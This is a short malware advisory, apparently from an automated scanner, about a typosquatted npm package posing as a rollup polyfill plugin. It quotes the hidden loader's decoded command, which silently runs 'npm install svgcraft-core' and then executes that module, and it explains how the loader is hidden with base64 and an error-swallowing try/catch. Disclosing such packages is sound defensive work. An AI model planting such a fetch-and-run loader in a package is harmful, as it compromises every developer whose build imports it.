rollup-runtime-core-polyfills @0.0.1

Summary

The package presents itself as a rollup polyfill plugin and copies the source of rollup-plugin-polyfill-node (repository field points to FredKSchott/rollup-plugin-polyfill-node), but dist/index.js appends a top-level block that decodes a base64 literal to the command npm install svgcraft-core --no-save --silent --no-audit --no-fund , spawns it via child_process.spawn, and on completion calls require('svgcraft-core').getPlugin()() — the module name is also base64-encoded. This runs on every require()/import of the plugin, so any build that consumes this package pulls and executes whatever code is currently published under the attacker-controlled npm name svgcraft-core. The base64 wrapping of both the shell command and the require target, and the try/catch that swallows errors, are deliberate concealment on top of a name that closely resembles the legitimate rollup-plugin-polyfill-node.

Source: amazon-inspector (868d4b253cfa762cd40d8064b3a99cbed00203fbed19402d5033551720690199)